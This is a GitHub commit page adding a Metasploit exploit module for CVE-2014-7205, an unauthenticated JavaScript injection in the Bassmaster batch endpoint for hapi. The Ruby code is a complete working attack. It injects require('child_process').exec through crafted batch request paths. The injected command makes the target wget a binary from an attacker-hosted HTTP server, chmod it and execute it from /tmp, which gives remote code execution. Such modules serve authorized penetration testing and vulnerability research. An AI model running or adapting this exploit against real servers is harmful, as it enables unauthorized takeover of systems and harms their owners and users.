Skip to content

Commit 57babf7

Browse files
committed
Land rapid7#7501, Bassmaster batch Arbitrary JavaScript Injection Exploit
2 parents 9672759 + 16b7c77 commit 57babf7

File tree

1 file changed

+168
-0
lines changed

1 file changed

+168
-0
lines changed
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = ExcellentRanking
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Exploit::Remote::HttpServer
8+
include Msf::Exploit::EXE
9+
include Msf::Exploit::FileDropper
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
14+
'Description' => %q{
15+
This module exploits an un-authenticated code injection vulnerability in the bassmaster
16+
nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
17+
attacker to dynamically execute JavaScript code on the server side using an eval.
18+
19+
Note that the code uses a '\x2f' character so that we hit the match on the regex.
20+
},
21+
'Author' =>
22+
[
23+
'mr_me <[email protected]>', # msf
24+
'Jarda Kotesovec' # original bug finder
25+
],
26+
'References' =>
27+
[
28+
[ 'CVE', '2014-7205'],
29+
[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory
30+
],
31+
'License' => MSF_LICENSE,
32+
'Platform' => ['linux', 'bsd'], # binary > native JavaScript
33+
'Arch' => [ARCH_X86, ARCH_X86_64],
34+
'Privileged' => false,
35+
'Targets' =>
36+
[
37+
[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected
38+
],
39+
'DefaultTarget' => 0,
40+
'DisclosureDate' => 'Nov 1 2016'))
41+
register_options(
42+
[
43+
Opt::RPORT(8080), # default port for the examples/batch.js file
44+
OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
45+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
46+
], self.class)
47+
end
48+
49+
def check
50+
51+
# So if we can append an encapsulated string into the body
52+
# we know that we can execute arbitrary JavaScript code
53+
rando = rand_text_alpha(8+rand(8))
54+
check = "+'#{rando}'"
55+
56+
# testing
57+
requests = [
58+
{:method => "get", :path => "/profile"},
59+
{:method => "get", :path => "/item"},
60+
{:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
61+
]
62+
63+
post = {:requests => requests}
64+
65+
res = send_request_cgi({
66+
'method' => 'POST',
67+
'uri' => normalize_uri(datastore['URIPATH']),
68+
'ctype' => 'application/json',
69+
'data' => post.to_json
70+
})
71+
72+
# default example app
73+
if res and res.code == 200 and res.body =~ /#{rando}/
74+
return CheckCode::Vulnerable
75+
76+
# non-default app
77+
elsif res and res.code == 500 and res.body =~ /#{rando}/
78+
return CheckCode::Appears
79+
end
80+
81+
return CheckCode::Safe
82+
end
83+
84+
def on_request_uri(cli, request)
85+
if (not @pl)
86+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
87+
return
88+
end
89+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
90+
@elf_sent = true
91+
send_response(cli, @pl)
92+
end
93+
94+
def send_payload
95+
@bd = rand_text_alpha(8+rand(8))
96+
pn = rand_text_alpha(8+rand(8))
97+
register_file_for_cleanup("/tmp/#{@bd}")
98+
cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
99+
cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
100+
cmd << "\\x2ftmp\\x2f#{@bd}"
101+
pay = ";require('child_process').exec('#{cmd}');"
102+
103+
# pwning
104+
requests = [
105+
{:method => "get", :path => "/profile"},
106+
{:method => "get", :path => "/item"},
107+
{:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
108+
]
109+
110+
post = {:requests => requests}
111+
112+
res = send_request_cgi({
113+
'method' => 'POST',
114+
'uri' => normalize_uri(datastore['URIPATH']),
115+
'ctype' => 'application/json',
116+
'data' => post.to_json
117+
})
118+
119+
# default example app
120+
if res and res.code == 200 and res.body =~ /id/
121+
return true
122+
123+
# incase we are not targeting the default app
124+
elsif res and res.code == 500 and es.body !=~ /id/
125+
return true
126+
end
127+
return false
128+
end
129+
130+
def start_http_server
131+
@pl = generate_payload_exe
132+
@elf_sent = false
133+
downfile = rand_text_alpha(8+rand(8))
134+
resource_uri = "\\x2f#{downfile}"
135+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
136+
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
137+
else
138+
srv_host = datastore['SRVHOST']
139+
end
140+
141+
# do not use SSL for the attacking web server
142+
if datastore['SSL']
143+
ssl_restore = true
144+
datastore['SSL'] = false
145+
end
146+
147+
@service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
148+
service_url_payload = srv_host + resource_uri
149+
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
150+
start_service({'Uri' => {
151+
'Proc' => Proc.new { |cli, req|
152+
on_request_uri(cli, req)
153+
},
154+
'Path' => resource_uri
155+
}})
156+
datastore['SSL'] = true if ssl_restore
157+
connect
158+
end
159+
160+
def exploit
161+
start_http_server
162+
if send_payload
163+
print_good("Injected payload")
164+
# we need to delay, for the stager
165+
select(nil, nil, nil, 5)
166+
end
167+
end
168+
end

0 commit comments

Comments
 (0)